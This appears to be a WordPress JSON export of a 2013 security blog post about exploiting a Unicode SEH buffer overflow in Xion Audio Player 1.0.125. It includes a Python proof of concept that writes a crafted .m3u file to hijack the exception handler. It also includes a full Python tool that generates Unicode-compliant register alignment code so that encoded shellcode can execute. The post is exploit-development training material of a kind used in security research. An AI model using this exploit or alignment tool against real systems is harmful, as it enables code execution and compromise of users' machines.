{"id":629,"date":"2013-01-17T00:47:59","date_gmt":"2013-01-16T23:47:59","guid":{"rendered":"http:\/\/www.floyd.ch\/?p=629"},"modified":"2023-05-31T08:18:10","modified_gmt":"2023-05-31T07:18:10","slug":"automated-generation-of-code-alignment-code-for-unicode-buffer-overflow-exploitation","status":"publish","type":"post","link":"https:\/\/www.floyd.ch\/?p=629","title":{"rendered":"Automated generation of code alignment code for Unicode buffer overflow exploitation"},"content":{"rendered":"<p>Update: Implemented an <a href=\"https:\/\/www.floyd.ch\/?p=795\" title=\"Mona.py feature\" target=\"_blank\" rel=\"noopener\">advanced version<\/a> for mona.py.<\/p>\n<p>Puh, I know, long title. So as I was going through my <a title=\"Corelan\" href=\"https:\/\/www.corelan.be\/\" target=\"_blank\" rel=\"noopener\">corelan<\/a> training material again, I was trying to exploit the public Xion exploit that can be found on <a title=\"exploit-db\" href=\"https:\/\/www.exploit-db.com\/exploits\/14633\" target=\"_blank\" rel=\"noopener\">exploit-db<\/a> (please read the exploit first). As I can&#8217;t cover all the basics in this blog posts, here just a short overview of the exploit:<\/p>\n<ul>\n<li>Exploits Xion Audio Player version 1.0.125 when opening an m3u file<\/li>\n<li>Extremely straight forward, write 5000 A&#8217;s to a file, change extension to .m3u, open with Xion player, boom!<\/li>\n<li>It&#8217;s an SEH exploit. So we control one of the exception handlers. It&#8217;s Unicode, so if you use <a href=\"https:\/\/www.corelan.be\/index.php\/2011\/07\/14\/mona-py-the-manual\/\" title=\"corelan's mona\" target=\"_blank\" rel=\"noopener\">corelan&#8217;s mona<\/a>, use things like !mona seh -cp unicode. Unicode exploits are a little bit tricky, you often get null bytes, the <a href=\"https:\/\/www.blackhat.com\/presentations\/win-usa-04\/bh-win-04-fx.pdf\" title=\"FX presentation about Unicode exploiting\" target=\"_blank\" rel=\"noopener\">presentation of FX<\/a> about Unicode exploiting helped a lot.<\/li>\n<\/ul>\n<p>Ok, let&#8217;s assume you already did the SEH exploiting and got code execution. So if you want to play from this point, here&#8217;s the exploit so far (simply hits our garbage). All the steps starting from this script are explained in the video below (although you might need to know how to change the offset to SEH by injecting a cycling patter, because the .m3u path length matters):<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nimport subprocess\r\noverflow_length = 5000\r\noffset = 237 #Attention: changes with path length of the m3u file!\r\nseh_handler = &quot;\\x93\\x47&quot; #will be transformed to 0047201C and at that address there is a POP; POP; RET;. This means we can jump to seh_nextrecord and execute it. Set breakpoint on this SEH handler!\r\nseh_nextrecord = &quot;\\x50\\x6d&quot; #Serves as a kind of &quot;NOP&quot; here\r\ngarbage = &quot;B&quot;\r\njunk = &quot;A&quot;*offset+seh_nextrecord+seh_handler+garbage*(overflow_length-offset-len(seh_nextrecord)-len(seh_handler))\r\n\r\npayload = junk\r\ndbg = &quot;C:\\\\Program Files\\\\Immunity Inc\\\\Immunity Debugger\\\\ImmunityDebugger.exe&quot;\r\nexploitable_exe = &quot;C:\\\\Program Files\\\\r2 Studios\\\\Xion\\\\Xion.exe&quot;\r\nexploit_file = &quot;C:\\\\testig101\\\\test\\\\theUnicode\\\\exploit.m3u&quot;\r\nfile(exploit_file,&quot;wb&quot;).write(payload)\r\nsubprocess.call(&#x5B;dbg,exploitable_exe,exploit_file])\r\n<\/pre>\n<p>So now we&#8217;re at the point where we want to run shellcode. Usual shellcodes can not be used in Unicode environments, therefore we need to use an encoder, for example the <a href=\"https:\/\/code.google.com\/archive\/p\/alpha3\/downloads\" title=\"Alpha3 encoder\" target=\"_blank\" rel=\"noopener\">Alpha3 encoder<\/a>. Now the thing with encoders is that they normally use a GetPC routine or a BufferRegister to locate themselves in memory. GetPC is not compatible with Unicode, so we have to use a BufferRegister. A BufferRegister means nothing else than writing the address of the location of the first byte of the shellcode into a register and telling the shellcode which register it is. To achieve this goal, we need to write an alignment code that is Unicode compliant itself.<\/p>\n<p>Now we come to the core part of this post: Writing alignment code. How do we write the correct address into the register? So far this involved some manual work. We have to find Unicode compatible opcodes. We can look at the transformation tables in FX&#8217;s presentation, but for a lot of characters this means we inject &#8220;\\x41&#8221; and it will be transformed to &#8220;\\x41\\x00&#8221;. So which opcodes of the x86 assembler language have null bytes in it? Even worse, for most of our injections the opcodes must have a null byte every second byte. Or at least we have to get rid of those zero bytes.<\/p>\n<p>I checked on the <a href=\"https:\/\/code.google.com\/archive\/p\/metasm\/\" title=\"Metasm shell\" target=\"_blank\" rel=\"noopener\">metasm shell<\/a> (included in the Metasploit framework under the tools folder) and found out that all ADD operations with 4 byte registers (ah, al, bh, bl, etc.) start with a zero byte:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nmetasm &gt; add ah,bl\r\n&quot;\\x00\\xdc&quot;\r\n<\/pre>\n<p>So because I&#8217;m a lazy guy and don&#8217;t want to do the manual work, I wrote a program that will write the alignment code for me and hopefully for everybody else in the future.<\/p>\n<p>Here are the steps that have to be done if you want to use my script:<\/p>\n<ol>\n<li>Make sure the first four bytes of the BufferRegister are correct (not part of the script).<\/li>\n<li>Get some reliable values into EAX, ECX, EDX, EBX with as few null bytes in it as possible (not part of the script).<\/li>\n<li>Tell my script the value of the EAX, ECX, EDX, EBX registers when the debugger stops exactly at the position where the alignment code will start. Additionally tell the script the address of the start of the alignment code (the current EIP).<\/li>\n<li>Run the script. It uses a random &#8220;heuristic&#8221; (well, bruteforcing with random inputs). So far I always got the single best result (with this approach) when I run it at least 1 minute. An alignment code that is a little longer is normally found in a couple of seconds.<\/li>\n<li>Stop the script (Ctrl+C) when you waited long enough and think there will be no shorter result. Copy the best\/shortest\/last alignment code into the metasm shell to get opcodes in hex.<\/li>\n<li>Remove the null bytes from the alignment code (they get injected in the Unicode transformation).<\/li>\n<li>Inject the alignment code, add your produced Unicode shellcode, pwn!<\/li>\n<\/ol>\n<p>The idea is to calculate the correct value where our shellcode lies. But if the shellcode is put directly after the alignment code, every additional instruction in the alignment code will increase our &#8220;target&#8221; address we want to have in our BufferRegister. This means we don&#8217;t know the location from the beginning, but have to calculate it. Until now the approach was to chose an address that is enough far away and then jump to that address at the end of the alignment code. This script finds better solutions. The script does nothing else than trying to sum up the different bytes of AH, AL, BH, BL etc. and try to find the correct value, always keeping track on how many instructions are already needed and adjusting the &#8220;target&#8221; address where the shellcode will live. So far the theory. Some more theory, the math modell behind:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nwritten by floyd - floyd.ch\r\nall rights reserved\r\n\r\nhttps:\/\/www.floyd.ch\r\n@floyd_ch\r\n\r\nWe are talking about a problem in GF(256). In other words the numbers are modulo 256. Or for the \r\nIT people: A byte that wraps around (0xFFFFFFFE + 0x00000002 = 0x00000001).\r\n\r\nLet's first discuss a simple example with 8 inputs (a1..a8). We need the more general case, \r\nbut so far 8 inputs is the maximum that makes sense. Although it doesn't make any\r\ndifference. If we solve the general case with (let's say) 16 Inputs we can\r\nsimply set the not needed inputs's to zero and they will be ignored in the model.\r\nThe script runs in the general case and can operate in all cases!\r\n\r\nInputs (values): a1, a2, ..., a8 mod 256\r\nInputs (starts): s1, s2 mod 256\r\nInputs (targets\/goal): g1, g2 mod 256\r\nOutputs: x1, x2, ..., x8, y1, y2, ..., y8 where these are natural numbers (including zero)!\r\n\r\nFind (there might be no solution):\r\ns1+a1*x1+a2*x2+a3*x3+a4*x4+a5*x5+a6*x6+a7*x7+a8*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)\/256) = g1 mod 256\r\ns2+a1*y1+a2*y2+a3*y3+a4*y4+a5*y5+a6*y6+a7*y7+a8*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)-3 = g2 mod 256\r\n\r\nMinimise (sum of outputs):\r\nx1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8\r\n\r\nExample\r\n{a1, a2, ... a8} = {9, 212, 0, 0, 32, 28, 50, 188}\r\n{s1, s2} = {233, 212}\r\n{g1, g2} = {253, 75}\r\n\r\nBtw the +3 and -3 in the formula is because we have to get rid of the last zero byte, we do that by injecting\r\n\\x6d, which results in 00 6d 00 (serves as a &quot;NOP&quot;), meaning we need to add 3 to the address.\r\n\r\n&#x5B;Extra constraints!]\r\n1. As we first set AH (or whatever higher byte is in start_is) to the correct value\r\nAH has changed until we want to set AL. Therefore the instruction\r\nadd al, ah will NOT return the correct result, because we assume an old value\r\nfor the AH register! That's why we have a originals (a1...a8) and\r\nmodify them to a21, a22, a23, .. a28 (only for y1...y8, for the x values we're fine)\r\n2. Additionally, the following instructions are not allowed (because it would be a lot more\r\ncomplicated to calculate in advance the state of the register we are modifying):\r\nadd ah, ah\r\nadd al, al\r\nSolved by overwriting if random generator produced something like that.\r\n3. This program only works if you already managed to get the first\r\nfour bytes of the alignment address right (this program operates\r\nonly on the last four bytes!)\r\n<\/pre>\n<p>I would say that the script already works pretty well, although it is not yet tested with a lot of different situations. Enough talking, here is the script:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#written by floyd - floyd.ch\r\n#all rights reserved\r\n#\r\n#https:\/\/www.floyd.ch\r\n#@floyd_ch\r\n\r\n#Inputs - later in mona read it from the breakpoint we're at\r\nstart_is = &#x5B;'ah', 'al'] #Means: Our BufferRegister is chosen as aex\r\nstart = 0xE9D4 #Nothing else than the last four bytes of our BufferRegister\r\ngoal = 0xFD53 #Address of the first byte of the alignment code, but without\r\n              #the setting up of the EAX,EBX,ECX,EDX registers!\r\n              #In other words: the address where the first byte of the here\r\n              #generated code is\r\neax=0x02cde9d4\r\necx=0x0047201c\r\nedx=0x7C9032BC\r\nebx=0x02CDE8F8\r\n#End inputs\r\n\r\n#Options:\r\nMAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS=0.25\r\n#Idea of 0.25: We will add every fourth register to the sum.\r\n#This means in average we will increase by 2 instructions every run of \r\n#randomise.\r\nMAGIC_PROBABILITY_OF_RESETTING=0.04 #an average of about 40 instructions\r\nMAGIC_MAX_PROBABILITY_OF_RESETTING=0.11 #an average of about 20 instructions\r\n#Idea: This is a trade-off - we don't want\r\n#to find no results by resetting to often (and never even\r\n#trying an instruction length of e.g. 500 bytes). On the other\r\n#hand we don't want to search in solutions with a lot of bytes\r\n#when we already found a shorter solution. Therefore we will\r\n#slightly increase it with time.\r\n#End options - don't modify anything below here!\r\n\r\nimport pprint, time, random, copy\r\ndef main():\r\n    originals = &#x5B;]\r\n    ax = theX(eax)\r\n    ah = higher(ax)\r\n    al = lower(ax)\r\n    \r\n    bx = theX(ebx)\r\n    bh = higher(bx)\r\n    bl = lower(bx)\r\n    \r\n    cx = theX(ecx)\r\n    ch = higher(cx)\r\n    cl = lower(cx)\r\n    \r\n    dx = theX(edx)\r\n    dh = higher(dx)\r\n    dl = lower(dx)\r\n    \r\n    start_address = theX(start)\r\n    s1 = higher(start_address)\r\n    s2 = lower(start_address)\r\n    \r\n    goal_address = theX(goal)\r\n    g1 = higher(goal_address)\r\n    g2 = lower(goal_address)\r\n    \r\n    names = &#x5B;'ah', 'al', 'bh', 'bl', 'ch', 'cl', 'dh', 'dl']\r\n    originals = &#x5B;ah, al, bh, bl, ch, cl, dh, dl]\r\n    sanitiseZeros(originals, names)\r\n    \r\n    #a1, a2, a3, a4, a5, a6, a7, a8 = originals\r\n    #x1, x2, x3, x4, x5, x6, x7, x8 = &#x5B;0 for i in range(0,8)]\r\n    #y1, y2, y3, y4, y5, y6, y7, y8 = &#x5B;0 for i in range(0,8)]\r\n    \r\n    #xs = &#x5B;x1, x2, x3, x4, x5, x6, x7, x8]\r\n    #ys = &#x5B;y1, y2, y3, y4, y5, y6, y7, y8]\r\n    \r\n    xs = &#x5B;0 for i in range(0,len(originals))]\r\n    ys = &#x5B;0 for i in range(0,len(originals))]\r\n    \r\n    #&#x5B;Extra constraint!] 1.\r\n    #we have to modify the AH value, because it will change until\r\n    #we reach the instruction where we modify AL\r\n    originals2 = copy.copy(originals)\r\n    originals2&#x5B;names.index(start_is&#x5B;0])] = g1 #it will be the target value\r\n    \r\n    best_result = 999999999\r\n    number_of_tries = 0.0\r\n    while True:\r\n        #Hmm, we might have a problem to improve the heuristic (random right now)\r\n        #if we don't put the Extra constraints into the formula\r\n        randomise(xs)\r\n        randomise(ys)\r\n        \r\n        #&#x5B;Extra constraint!] 2.\r\n        #not allowed: \r\n        #add al, al\r\n        #add ah, ah\r\n        xs&#x5B;names.index(start_is&#x5B;0])] = 0\r\n        ys&#x5B;names.index(start_is&#x5B;1])] = 0\r\n        \r\n        tmp = check2(originals, originals2, &#x5B;s1, s2], &#x5B;g1, g2], xs, ys, best_result)\r\n        if tmp &gt; 0:\r\n            best_result = tmp\r\n            #we got a new result\r\n            printNicely(names, start_is, xs, ys)\r\n        #Slightly increases probability of resetting with time\r\n        probability = MAGIC_PROBABILITY_OF_RESETTING+number_of_tries\/(10**8)\r\n        if probability &lt; MAGIC_MAX_PROBABILITY_OF_RESETTING:\r\n            number_of_tries += 1.0\r\n        if random.random() &lt;= probability:\r\n            #print &quot;Reset&quot;\r\n            xs = &#x5B;0 for i in range(0,len(originals))]\r\n            ys = &#x5B;0 for i in range(0,len(originals))]\r\n    \r\n\r\ndef sanitiseZeros(originals, names):\r\n    for index, i in enumerate(originals):\r\n        if i == 0:\r\n            print &quot;&quot;&quot;WARNING: Your %s register seems to be zero, for the heuristic it's much healthier\r\n            if none is zero. Although it might still work, it might also not work or take longer.&quot;&quot;&quot; % names&#x5B;index]\r\n            del originals&#x5B;index]\r\n            del names&#x5B;index]\r\n            return sanitiseZeros(originals, names)\r\n\r\n\r\ndef randomise(values):\r\n    for index, i in enumerate(values):\r\n        if random.random() &lt;= MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS:\r\n            values&#x5B;index] += 1\r\n\r\ndef check2(as1, as2, ss, gs, xs, ys, best_result):\r\n    g1, g2 = gs\r\n    s1, s2 = ss\r\n    sum_of_instructions = sum(xs) + sum(ys) \r\n    if best_result &gt; sum_of_instructions:\r\n        res0 = s1\r\n        res1 = s2\r\n        for index, _ in enumerate(as1):\r\n            res0 += as1&#x5B;index]*xs&#x5B;index] % 256\r\n            res1 += as2&#x5B;index]*ys&#x5B;index] % 256\r\n        res0 = res0 - ((s2+(2*sum_of_instructions)+3)\/256) #+3 for the 6d at the end, which is 006d00 \r\n        res1 = res1 - (2*sum_of_instructions+3) #+3 for the 6d at the end, which is 006d00 \r\n        if g1 == res0 % 256 and g2 == res1 % 256:\r\n            debug(&quot;###FOUND&quot;)\r\n            debug(&quot;a11...a1?&quot;, hexlist(as1))\r\n            debug(&quot;a21...a2?&quot;, hexlist(as2))\r\n            debug(&quot;s1, s2&quot;, hexlist(ss))\r\n            debug(&quot;g1...g2&quot;, hexlist(gs))\r\n            debug(&quot;x1...x?&quot;, xs)\r\n            debug(&quot;y1...y?&quot;, ys)\r\n            debug(&quot;No of instructions:&quot;, sum_of_instructions)\r\n            return sum_of_instructions\r\n    return 0\r\n        \r\n#Old version of check that doesn't support variable as1\/as2 lengths, but\r\n#might just be easier to understand if somebody wants to understand this stuff\r\n# def check(as1, as2, ss, gs, xs, ys, best_result):\r\n#     g1, g2 = gs\r\n#     s1, s2 = ss\r\n#     a11, a12, a13, a14, a15, a16, a17, a18 = as1\r\n#     a21, a22, a23, a24, a25, a26, a27, a28 = as2\r\n#     x1, x2, x3, x4, x5, x6, x7, x8 = xs\r\n#     y1, y2, y3, y4, y5, y6, y7, y8 = ys\r\n#     \r\n#     num_of_instr = x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8\r\n#     \r\n#     if best_result &gt; num_of_instr:\r\n#         if (s1+a11*x1+a12*x2+a13*x3+a14*x4+a15*x5+a16*x6+a17*x7+a18*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)\/256)) % 256 == g1 \\\r\n#         and (s2+a21*y1+a22*y2+a23*y3+a24*y4+a25*y5+a26*y6+a27*y7+a28*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8))-3 % 256 == g2:\r\n#             debug(&quot;###FOUND&quot;)\r\n#             debug(&quot;a11...a18&quot;, hexlist(as1))\r\n#             debug(&quot;a21...a28&quot;, hexlist(as2))\r\n#             debug(&quot;s1, s2&quot;, hexlist(ss))\r\n#             debug(&quot;g1...g8&quot;, hexlist(gs))\r\n#             debug(&quot;x1...x8&quot;, xs)\r\n#             debug(&quot;y1...y8&quot;, ys)\r\n#             debug(&quot;No of instructions:&quot;, num_of_instr)\r\n#             return num_of_instr\r\n#     return 0\r\n\r\ndef printNicely(names, start_is, xs, ys):\r\n    #print names, start_is, xs, ys\r\n    resulting_string = &quot;&quot;\r\n    sum_instr = 0\r\n    for index, x in enumerate(xs):\r\n        for k in range(0, x):\r\n            resulting_string += &quot;add &quot;+start_is&#x5B;0]+&quot;,&quot;+names&#x5B;index]+&quot;; &quot;\r\n            sum_instr += 1\r\n    for index, y in enumerate(ys):\r\n        for k in range(y):\r\n            resulting_string += &quot;add &quot;+start_is&#x5B;1]+&quot;,&quot;+names&#x5B;index]+&quot;; &quot;\r\n            sum_instr += 1\r\n    resulting_string += &quot;add &#x5B;ebp],ch;&quot;\r\n    sum_instr += 1\r\n    result(&quot;Use the following instructions (%i long, paste into metasm shell\/remove all zero bytes):\\n&quot;%sum_instr, resulting_string)\r\n\r\ndef hexlist(list):\r\n    return &#x5B;hex(i) for i in list]\r\n    \r\n\r\ndef theX(num):\r\n    res = (num&gt;&gt;16)&lt;&lt;16 ^ num\r\n    #print hex(res)\r\n    return res\r\n    \r\ndef higher(num):\r\n    res = num&gt;&gt;8\r\n    #print hex(res)\r\n    return res\r\n    \r\ndef lower(num):\r\n    res = ((num&gt;&gt;8)&lt;&lt;8) ^ num\r\n    #print hex(res)\r\n    return res\r\n    \r\ndef result(*text):\r\n    print &quot;&#x5B;RESULT] &quot;+str(&quot; &quot;.join(str(i) for i in text))\r\n    \r\ndef debug(*text):\r\n    if False:\r\n        print &quot;&#x5B;DEBUG] &quot;+str(&quot; &quot;.join(str(i) for i in text))\r\n\r\nmain()\r\n<\/pre>\n<p>As I talked to Peter aka corelanc0d3r he liked the idea that we could implement it into mona, although there are a few things that should be changed\/added. It is important that we get static and reliable addresses into EAX, ECX, EDX and EBX before we do the math. So in mona the first two steps from above should be integrated as well. Therefore mona should do the following:<\/p>\n<ol>\n<li>Check if EBP is a stackpointer, if yes go to 2. otherwise go to 3.<\/li>\n<li>Pop EBP into EAX: \\x55\\x6d\\x58\\6d<\/li>\n<li>Pop ESP into EBX: \\x54\\x6d\\x5B\\6d<\/li>\n<li>Find reliable stack pointers on the stack and pop different ones into EDX, ECX (and EAX if 2. was not executed)<\/li>\n<li>Do the math and suggest to user<\/li>\n<\/ol>\n<p>In a lot of cases this procedure of checking EBP and find reliable stack pointers is probably not necessary. But to get higher reliability for the automated approach it should be done. As Peter pointed out, one of the registers could be filled with a timestamp or something. For now, if you use my script, check for these things manually.<\/p>\n<p>Another good thing I have to point out about this script: We won&#8217;t need to jump to the shellcode and we don&#8217;t need to put garbage between the alignment code and the shellcode. The script\/math model makes sure that the next instruction after the alignment code is exactly where our BufferRegister is pointing to (and where we can put our Unicode shellcode).<\/p>\n<p>Now check out the video describing all the steps and how to use the script:<\/p>\n<p><a href=\"https:\/\/player.vimeo.com\/video\/57559068\" target=\"_blank\" rel=\"noopener\">Go to vimeo to watch the video<\/a><\/p>\n<p>Update: Implemented an <a href=\"https:\/\/www.floyd.ch\/?p=795\" title=\"Mona.py feature\" target=\"_blank\" rel=\"noopener\">advanced version<\/a> for mona.py.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Update: Implemented an advanced version for mona.py. Puh, I know, long title. So as I was going through my corelan training material again, I was trying to exploit the public Xion exploit that can be found on exploit-db (please read &hellip; <a href=\"https:\/\/www.floyd.ch\/?p=629\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[103,19],"tags":[106,104,109,110,20,107,108,105],"class_list":["post-629","post","type-post","status-publish","format-standard","hentry","category-overflow-exploits","category-useful-scripts","tag-buffer-overflows","tag-code-alignment","tag-corelan","tag-mona-py","tag-python","tag-seh","tag-shellcode","tag-unicode"],"_links":{"self":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/629","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=629"}],"version-history":[{"count":67,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/629\/revisions"}],"predecessor-version":[{"id":1363,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/629\/revisions\/1363"}],"wp:attachment":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=629"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=629"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=629"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}